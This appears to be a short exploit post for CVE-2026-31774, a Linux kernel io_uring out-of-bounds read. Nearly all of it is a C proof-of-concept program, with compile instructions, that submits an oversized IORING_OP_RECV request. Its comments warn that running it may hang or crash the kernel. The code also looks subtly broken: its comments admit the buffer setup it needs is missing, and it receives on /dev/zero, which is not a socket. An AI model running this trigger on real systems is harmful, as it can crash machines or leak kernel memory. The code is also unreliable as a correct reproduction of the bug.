CVE-2026-31774 Linux内核io_uring越界读取漏洞

/* * PoC for CVE-2026-31774 * Trigger: Slab-out-of-bounds read in io_bundle_nbufs * Compile: gcc -o poc poc.c -luring */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <liburing.h> #define BUF_SHIFT 0 #define BUF_RING_SIZE 32 int main() { struct io_uring ring; struct io_uring_params p = {}; int ret, fd; // Initialize io_uring with provided buffers setup would be ideal, // but the core trigger is the length overflow. ret = io_uring_queue_init(32, &ring, 0); if (ret < 0) { perror("io_uring_queue_init"); return 1; } fd = open("/dev/zero", O_RDONLY); if (fd < 0) { perror("open"); return 1; } struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); if (!sqe) { fprintf(stderr, "Failed to get sqe\n"); return 1; } // Setup IORING_OP_RECV or similar operation that uses io_recvmsg_prep sqe->opcode = IORING_OP_RECV; sqe->fd = fd; sqe->addr = (unsigned long)NULL; // Must use provided buffers in real scenario sqe->len = 0xFFFFFFFF; // Trigger value > INT_MAX causing overflow sqe->flags = 0; sqe->ioprio = 0; // sqe->buf_group is required for the select path sqe->buf_group = 0; sqe->rw_flags = 0; ret = io_uring_submit(&ring); if (ret < 0) { perror("io_uring_submit"); return 1; } struct io_uring_cqe *cqe; // This may hang or crash the kernel due to the infinite loop/OOB read ret = io_uring_wait_cqe(&ring, &cqe); if (ret < 0) { perror("io_uring_wait_cqe"); } else { printf("Request completed: res=%d\n", cqe->res); io_uring_cqe_seen(&ring, cqe); } close(fd); io_uring_queue_exit(&ring); return 0; }